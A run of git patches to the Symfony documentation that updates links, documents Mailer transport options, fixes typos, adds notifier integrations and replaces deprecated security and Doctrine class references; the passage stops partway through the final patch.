Date: Fri, 30 Jul 2021 09:50:36 +0700
Subject: [PATCH 2387/7107] Flex: Update links to Symfony 5.3

---
 setup/flex.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup/flex.rst b/setup/flex.rst
index 7e49814aac3..ab4a0509a40 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -189,9 +189,9 @@ If you customize these paths, some files copied from a recipe still may contain
 references to the original path. In other words: you may need to update some things
 manually after a recipe is installed.
 
-.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/4.2/config/services.yaml
-.. _`shown in this example`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L24-L33
-.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/8e33fe617629f283a12bbe0a6578bd6e6af417af/composer.json#L44-L46
-.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.1/public/index.php
-.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.1/bin/console
+.. _`default services.yaml file`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/config/services.yaml
+.. _`shown in this example`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L30-L39
+.. _`shown in this example of the skeleton-project`: https://github.com/symfony/skeleton/blob/a0770a7f26eeda9890a104fa3de8f68c4120fca5/composer.json#L55-L57
+.. _`copying Symfony's index.php source`: https://github.com/symfony/recipes/blob/master/symfony/framework-bundle/5.3/public/index.php
+.. _`copying Symfony's bin/console source`: https://github.com/symfony/recipes/blob/master/symfony/console/5.3/bin/console
 .. _`Symfony Requirements Checker`: https://github.com/symfony/requirements-checker

From f713212527192a176931a7958d85d93c71e5bf2c Mon Sep 17 00:00:00 2001
From: Fritz Michael Gschwantner <fmg@inspiredminds.at>
Date: Fri, 26 Jun 2020 22:01:44 +0100
Subject: [PATCH 2388/7107] [Mailer] Document new Mailer transport options

---
 mailer.rst | 51 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 51 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index fedcc71c366..be20d228dd4 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -253,6 +253,57 @@ the application or when using a self-signed certificate::
 
     The ``verify_peer`` option was introduced in Symfony 5.1.
 
+Other Options
+~~~~~~~~~~~~~
+
+``command``
+    Command to be executed by ``sendmail`` transport::
+
+        $dsn = 'sendmail://default?command=/usr/sbin/sendmail%20-oi%20-t'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+
+``local_domain``
+    The domain name to use in ``HELO`` command::
+
+        $dsn = 'smtps://smtp.example.com?local_domain=example.org'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold``
+    The maximum number of messages to send before re-starting the transport. It
+    can be used together with ``restart_threshold_sleep``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``restart_threshold_sleep``
+    The number of seconds to sleep between stopping and re-starting the transport.
+    It's commont to combine it with ``restart_threshold``::
+
+        $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
+``ping_threshold``
+    The minimum number of seconds between two messages required to ping the server::
+
+        $dsn = 'smtps://smtp.example.com?ping_threshold=200'
+
+    .. versionadded:: 5.2
+
+        This option was introduced in Symfony 5.2.
+
 Creating & Sending Messages
 ---------------------------
 

From fe33305b778fe4b6bb1a7e27c7c9065f2e6f6781 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Jul 2021 17:13:37 +0200
Subject: [PATCH 2389/7107] Typo

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index be20d228dd4..b0c83d96a6d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -287,7 +287,7 @@ Other Options
 
 ``restart_threshold_sleep``
     The number of seconds to sleep between stopping and re-starting the transport.
-    It's commont to combine it with ``restart_threshold``::
+    It's common to combine it with ``restart_threshold``::
 
         $dsn = 'smtps://smtp.example.com?restart_threshold=10&restart_threshold_sleep=1'
 

From e958c2144a6de16000446262f46aedc944627ab4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Romey?= <jeremy@free-agent.fr>
Date: Mon, 2 Aug 2021 10:58:05 +0200
Subject: [PATCH 2390/7107] [Testing] update deprecation

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 346cc573e94..1df9a2503a7 100644
--- a/testing.rst
+++ b/testing.rst
@@ -609,7 +609,7 @@ to simulate a login request::
         public function testVisitingWhileLoggedIn()
         {
             $client = static::createClient();
-            $userRepository = static::$container->get(UserRepository::class);
+            $userRepository = static::getContainer()->get(UserRepository::class);
 
             // retrieve the test user
             $testUser = $userRepository->findOneByEmail('john.doe@example.com');

From 7c360432d20d0d7372b39025dee595d2c47a9ee5 Mon Sep 17 00:00:00 2001
From: authentictech <authentictech@users.noreply.github.com>
Date: Sat, 31 Jul 2021 23:00:32 +0100
Subject: [PATCH 2391/7107] Update routing.rst

Just adding the ? character to the route parameter without also adding ? to the function parameter type results in a TypeError: "Argument 1 passed to App\Controller\BlogController::list() must be of the type integer, null given"
---
 routing.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index ec39d1f8e00..dd6478ac539 100644
--- a/routing.rst
+++ b/routing.rst
@@ -815,7 +815,8 @@ parameter:
 .. tip::
 
     To give a ``null`` default value to any parameter, add nothing after the
-    ``?`` character (e.g. ``/blog/{page?}``).
+    ``?`` character (e.g. ``/blog/{page?}``). Also, remember to add the
+    ``?`` character before the function parameter type to make it permit null values (e.g. ``?int``) 
 
 Parameter Conversion
 ~~~~~~~~~~~~~~~~~~~~

From 6124a80798a07e1f9b4f1003f62348f720cfacd1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Aug 2021 12:59:03 +0200
Subject: [PATCH 2392/7107] Reword

---
 routing.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/routing.rst b/routing.rst
index dd6478ac539..7a89dde0234 100644
--- a/routing.rst
+++ b/routing.rst
@@ -815,8 +815,9 @@ parameter:
 .. tip::
 
     To give a ``null`` default value to any parameter, add nothing after the
-    ``?`` character (e.g. ``/blog/{page?}``). Also, remember to add the
-    ``?`` character before the function parameter type to make it permit null values (e.g. ``?int``) 
+    ``?`` character (e.g. ``/blog/{page?}``). If you do this, don't forget to
+    update the types of the related controller arguments to allow passing
+    ``null`` values (e.g. replace ``int $page`` by ``?int $page``).
 
 Parameter Conversion
 ~~~~~~~~~~~~~~~~~~~~

From f941de44bfb810b92580422cdd5af70a2c3e9106 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 2 Aug 2021 21:46:42 +0200
Subject: [PATCH 2393/7107] Small fixes in naming

---
 security/securing_services.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/securing_services.rst b/security/securing_services.rst
index 015d2a76400..12b4cab6bf9 100644
--- a/security/securing_services.rst
+++ b/security/securing_services.rst
@@ -14,7 +14,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
 .. code-block:: diff
 
-      // src/Newsletter/NewsletterManager.php
+      // src/SalesReport/SalesReportManager.php
 
       // ...
       use Symfony\Component\Security\Core\Exception\AccessDeniedException;
@@ -29,7 +29,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
     +         $this->security = $security;
     +     }
 
-          public function sendNewsletter()
+          public function generateReport()
           {
               $salesData = [];
 

From f66a0b3098a96becc0e8d38c1ad2d9d04d0e1fd2 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 3 Aug 2021 18:07:04 +0200
Subject: [PATCH 2394/7107] [Workflow] Document marking::getContext()

---
 workflow.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/workflow.rst b/workflow.rst
index 1d70f38b0d6..97880c16d13 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -446,6 +446,17 @@ workflow leaves a place::
         }
     }
 
+.. versionadded:: 5.4
+
+    Getting the up-to-date context was introduced in Symfony 5.4.
+
+If some listeners update the context during a transition, you can retrieve it via the marking::
+
+    $marking = $workflow->apply($post, 'to_review');
+
+    // Contains the new value
+    $marking->getContext();
+
 .. _workflow-usage-guard-events:
 
 Guard Events

From 0380688cd40f057873014469210c3ecf934e88c4 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Mon, 2 Aug 2021 21:54:09 +0200
Subject: [PATCH 2395/7107] [Security] Small improvement

---
 security/expressions.rst | 19 +++++++++++++------
 1 file changed, 13 insertions(+), 6 deletions(-)

diff --git a/security/expressions.rst b/security/expressions.rst
index a74fbb58eaf..3c3aa6e0795 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -12,16 +12,23 @@ Security: Complex Access Controls with Expressions
 In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also
 accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
+    // src/Controller/MyController.php
+    namespace App\Controller;
+    
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\ExpressionLanguage\Expression;
-    // ...
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function index(): Response
+    class MyController extends AbstractController
     {
-        $this->denyAccessUnlessGranted(new Expression(
-            '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
-        ));
+        public function index(): Response
+        {
+            $this->denyAccessUnlessGranted(new Expression(
+                '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
+            ));
 
-        // ...
+            // ...
+        }
     }
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current

From 0e1c690ed8c77831548d9fcd2031e40d2773f10c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:22:38 +0200
Subject: [PATCH 2396/7107] Minor

---
 workflow.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 97880c16d13..b4370a1714d 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -446,17 +446,18 @@ workflow leaves a place::
         }
     }
 
-.. versionadded:: 5.4
-
-    Getting the up-to-date context was introduced in Symfony 5.4.
-
-If some listeners update the context during a transition, you can retrieve it via the marking::
+If some listeners update the context during a transition, you can retrieve
+it via the marking::
 
     $marking = $workflow->apply($post, 'to_review');
 
-    // Contains the new value
+    // contains the new value
     $marking->getContext();
 
+.. versionadded:: 5.4
+
+    The ability to get the new value from the marking was introduced in Symfony 5.4.
+
 .. _workflow-usage-guard-events:
 
 Guard Events

From 885e42d4fa5f734c1efa5c4ab3ed8f375d433379 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 3 Aug 2021 18:01:49 +0200
Subject: [PATCH 2397/7107] [Messenger] Document StopWorkerException

---
 messenger.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index eb83a48903a..635b336f771 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -461,6 +461,17 @@ The first argument is the receiver's name (or service id if you routed to a
 custom service). By default, the command will run forever: looking for new messages
 on your transport and handling them. This command is called your "worker".
 
+.. tip::
+
+    To properly stop a worker, throw an instance of
+    :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`.
+
+    .. versionadded:: 5.4
+
+        The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
+        class was introduced in Symfony 5.4.
+
+
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From a2c89c7b12cc6bcbfa5959fabb14b664db7733e8 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:28:15 +0200
Subject: [PATCH 2398/7107] Remove versionadded directive

---
 mailer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 00b5c3b9f96..9d9361d2a60 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -173,10 +173,6 @@ party provider:
     you need to add the ``ping_threshold`` parameter to your ``MAILER_DSN`` with
     a value lower than ``10``: ``ses+smtp://USERNAME:PASSWORD@default?ping_threshold=9``
 
-    .. versionadded:: 5.4
-        
-        The ``ping_threshold`` option for ``ses-smtp`` was introduced in Symfony 5.4.
-
 .. note::
 
     When using SMTP, the default timeout for sending a message before throwing an

From eb7d6a6108ea7afca36ddf8e180a2b4614a00fa6 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:28:21 +0200
Subject: [PATCH 2399/7107] Remove versionadded directive

---
 messenger.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b1ce8bead66..d15b7f1d8be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -466,11 +466,6 @@ on your transport and handling them. This command is called your "worker".
     To properly stop a worker, throw an instance of
     :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`.
 
-    .. versionadded:: 5.4
-
-        The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
-        class was introduced in Symfony 5.4.
-
 
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~

From 1632ef3d4b743ca82fec698513f9717b458396ef Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:28:25 +0200
Subject: [PATCH 2400/7107] Remove versionadded directive

---
 workflow.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 141b7b680d4..eeb9963392e 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -448,10 +448,6 @@ it via the marking::
     // contains the new value
     $marking->getContext();
 
-.. versionadded:: 5.4
-
-    The ability to get the new value from the marking was introduced in Symfony 5.4.
-
 .. _workflow-usage-guard-events:
 
 Guard Events

From 93b3afd8762c09d1247560a08dbf4c3dfe59ec4a Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:29:07 +0200
Subject: [PATCH 2401/7107] Minor

---
 messenger.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 635b336f771..6a2fca76fb4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -471,7 +471,6 @@ on your transport and handling them. This command is called your "worker".
         The :class:`Symfony\\Component\\Messenger\\Exception\\StopWorkerException`
         class was introduced in Symfony 5.4.
 
-
 Deploying to Production
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From d1c83714af6f349984438db1fb6c990cb629c1c3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 4 Aug 2021 16:35:55 +0200
Subject: [PATCH 2402/7107] [Notifier] Mailjet

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 46e83d17d0a..72c809be320 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -66,6 +66,7 @@ GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@defau
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
 Iqsms           ``symfony/iqsms-notifier``            ``iqsms://LOGIN:PASSWORD@default?from=FROM``
 LightSms        ``symfony/light-sms-notifier``        ``lightsms://LOGIN:TOKEN@default?from=PHONE``
+Mailjet         ``symfony/mailjet-notifier``          ``mailjet://TOKEN@default?from=FROM``
 MessageBird     ``symfony/message-bird-notifier``     ``messagebird://TOKEN@default?from=FROM``
 MessageMedia    ``symfony/message-media-notifier``    ``messagemedia://API_KEY:API_SECRET@default?from=FROM``
 Mobyt           ``symfony/mobyt-notifier``            ``mobyt://USER_KEY:ACCESS_TOKEN@default?from=FROM``
@@ -98,7 +99,8 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns and Telnyx integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx and Mailjet integrations were introduced
+    in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 10cced47efd98e10a1fe703bbbfc312d38171341 Mon Sep 17 00:00:00 2001
From: Artem Henvald <genvaldartem@gmail.com>
Date: Wed, 2 Jun 2021 18:10:08 +0300
Subject: [PATCH 2403/7107] Add TurboSms notifier

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 72c809be320..80ce1327d7a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -80,6 +80,7 @@ SmsBiuras       ``symfony/sms-biuras-notifier``       ``smsbiuras://UID:API_KEY@
 Smsc            ``symfony/smsc-notifier``             ``smsc://LOGIN:PASSWORD@default?from=FROM``
 SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?from=FROM``
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
+TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
@@ -99,7 +100,7 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx and Mailjet integrations were introduced
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms and Mailjet integrations were introduced
     in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 450528c8c1b48e8085b3237acc2878921c35deee Mon Sep 17 00:00:00 2001
From: Rafael Gil <rafaelgil83@gmail.com>
Date: Thu, 5 Aug 2021 04:30:19 -0400
Subject: [PATCH 2404/7107] Update mercure.rst

fixed typo
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 2e863c3cadd..3abd5d478b1 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -97,7 +97,7 @@ and you can skip straight to the next section.
 Otherwise, set the URL of your hub as the value of the ``MERCURE_URL``
 and ``MERCURE_PUBLIC_URL`` env vars.
 Sometimes a different URL must be called by the Symfony app (usually to publish),
-and the JavaScript client (usually to subscrribe). It's especially common when
+and the JavaScript client (usually to subscribe). It's especially common when
 the Symfony app must use a local URL and the client-side JavaScript code a public one.
 In this case, ``MERCURE_URL`` must contain the local URL that will be used by the
 Symfony app (e.g. ``https://mercure/.well-known/mercure``), and ``MERCURE_PUBLIC_URL``

From 2d3a0b24c3c205ba4dcb9d33ca4e569b5509c79e Mon Sep 17 00:00:00 2001
From: Robin Chalas <robin.chalas@gmail.com>
Date: Fri, 6 Aug 2021 13:42:16 +0200
Subject: [PATCH 2405/7107] Replace deprecated `PassportInterface` occurrences
 by `Passport`

---
 security/authenticator_manager.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/security/authenticator_manager.rst b/security/authenticator_manager.rst
index 58b1a2baf5d..e4ed90814b5 100644
--- a/security/authenticator_manager.rst
+++ b/security/authenticator_manager.rst
@@ -300,7 +300,7 @@ method that fits most use-cases::
     use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
     use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
     use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
 
     class ApiKeyAuthenticator extends AbstractAuthenticator
@@ -315,7 +315,7 @@ method that fits most use-cases::
             return $request->headers->has('X-AUTH-TOKEN');
         }
 
-        public function authenticate(Request $request): PassportInterface
+        public function authenticate(Request $request): Passport
         {
             $apiToken = $request->headers->get('X-AUTH-TOKEN');
             if (null === $apiToken) {
@@ -474,7 +474,7 @@ using :ref:`the user provider <security-user-providers>`::
                 $this->userRepository = $userRepository;
             }
 
-            public function authenticate(Request $request): PassportInterface
+            public function authenticate(Request $request): Passport
             {
                 // ...
 
@@ -570,11 +570,11 @@ would initialize the passport like this::
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
     use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
+    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
 
     class LoginAuthenticator extends AbstractAuthenticator
     {
-        public function authenticate(Request $request): PassportInterface
+        public function authenticate(Request $request): Passport
         {
             $password = $request->request->get('password');
             $username = $request->request->get('username');
@@ -604,7 +604,7 @@ would initialize the passport like this::
         {
             // ...
 
-            public function authenticate(Request $request): PassportInterface
+            public function authenticate(Request $request): Passport
             {
                 // ... process the request
 
@@ -616,7 +616,7 @@ would initialize the passport like this::
                 return $passport;
             }
 
-            public function createAuthenticatedToken(PassportInterface $passport, string $firewallName): TokenInterface
+            public function createAuthenticatedToken(Passport $passport, string $firewallName): TokenInterface
             {
                 // read the attribute value
                 return new CustomOauthToken($passport->getUser(), $passport->getAttribute('scope'));

From ad68f23ea0c9a1bce9e84fa13dbf95f00e2212eb Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Fri, 6 Aug 2021 16:48:34 +0200
Subject: [PATCH 2406/7107] Document fake sms logger notifier

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 80ce1327d7a..99167e4b07e 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -60,7 +60,7 @@ AllMySms        ``symfony/allmysms-notifier``         ``allmysms://LOGIN:APIKEY@
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Clickatell      ``symfony/clickatell-notifier``       ``clickatell://ACCESS_TOKEN@default?from=FROM``
 Esendex         ``symfony/esendex-notifier``          ``esendex://USER_NAME:PASSWORD@default?accountreference=ACCOUNT_REFERENCE&from=FROM``
-FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM``
+FakeSms         ``symfony/fake-sms-notifier``         ``fakesms+email://MAILER_SERVICE_ID?to=TO&from=FROM`` or ``fakesms+logger://default``
 FreeMobile      ``symfony/free-mobile-notifier``      ``freemobile://LOGIN:PASSWORD@default?phone=PHONE``
 GatewayApi      ``symfony/gatewayapi-notifier``       ``gatewayapi://TOKEN@default?from=FROM``
 Infobip         ``symfony/infobip-notifier``          ``infobip://AUTH_TOKEN@HOST?from=FROM``
@@ -95,12 +95,12 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.3
 
-    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms, LightSms, SmsBiuras
+    The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms (email), LightSms, SmsBiuras
     and MessageBird integrations were introduced in Symfony 5.3.
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms and Mailjet integrations were introduced
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations were introduced
     in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and

From 4e5845b909b4e1496bcdfb9edb10ea9da53d4867 Mon Sep 17 00:00:00 2001
From: noniagriconomie <antoine.makdessi@agriconomie.com>
Date: Fri, 6 Aug 2021 16:56:23 +0200
Subject: [PATCH 2407/7107] Document fake chat logger notifier

---
 notifier.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 80ce1327d7a..ff7e921e94d 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -163,12 +163,12 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-==============  ====================================  ===========================================================================
+==============  ====================================  =============================================================================
 Service         Package                               DSN
-==============  ====================================  ===========================================================================
+==============  ====================================  =============================================================================
 AmazonSns       ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 Discord         ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM``
+FakeChat        ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
 Firebase        ``symfony/firebase-notifier``          ``firebase://USERNAME:PASSWORD@default``
 Gitter          ``symfony/gitter-notifier``           ``gitter://TOKEN@default?room_id=ROOM_ID``
 GoogleChat      ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
@@ -180,7 +180,7 @@ RocketChat      ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPO
 Slack           ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
 Telegram        ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
 Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-==============  ====================================  ===========================================================================
+==============  ====================================  =============================================================================
 
 .. versionadded:: 5.1
 
@@ -195,11 +195,11 @@ Zulip           ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST
 
 .. versionadded:: 5.3
 
-    The Gitter, Mercure, FakeChat and Microsoft Teams integrations were introduced in Symfony 5.3.
+    The Gitter, Mercure, FakeChat (email) and Microsoft Teams integrations were introduced in Symfony 5.3.
 
 .. versionadded:: 5.4
 
-    The AmazonSns integration was introduced in Symfony 5.4.
+    The AmazonSns and FakeChat (logger) integrations were introduced in Symfony 5.4.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From 4a3fe3a14de1717815b40661630a88a76a1e6352 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sat, 7 Aug 2021 09:04:30 +0200
Subject: [PATCH 2408/7107] minor

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 397ffbe6da2..e124ec59f5b 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -100,8 +100,8 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
 
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations were introduced
-    in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet and FakeSms (logger) integrations
+    were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From e8b3b04d2ac3d59966902e8ea50a57d4168aa8b2 Mon Sep 17 00:00:00 2001
From: W0rma <beck.worma@gmail.com>
Date: Sat, 7 Aug 2021 21:05:20 +0200
Subject: [PATCH 2409/7107] Add note about EventSubscriberInterface introduced
 in DoctrineBundle 2.1

---
 doctrine/events.rst | 50 +++++++++------------------------------------
 1 file changed, 10 insertions(+), 40 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 8acde6359ed..25c04f69bd5 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -357,11 +357,11 @@ want to log all the database activity. To do so, define a subscriber for the
     namespace App\EventListener;
 
     use App\Entity\Product;
-    use Doctrine\Common\EventSubscriber;
+    use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
     use Doctrine\ORM\Events;
     use Doctrine\Persistence\Event\LifecycleEventArgs;
 
-    class DatabaseActivitySubscriber implements EventSubscriber
+    class DatabaseActivitySubscriber implements EventSubscriberInterface
     {
         // this method can only return the event names; you cannot define a
         // custom method name to execute when each event triggers
@@ -406,45 +406,15 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
-The next step is to enable the Doctrine subscriber in the Symfony application by
-creating a new service for it and :doc:`tagging it </service_container/tags>`
-with the ``doctrine.event_subscriber`` tag:
-
-.. configuration-block::
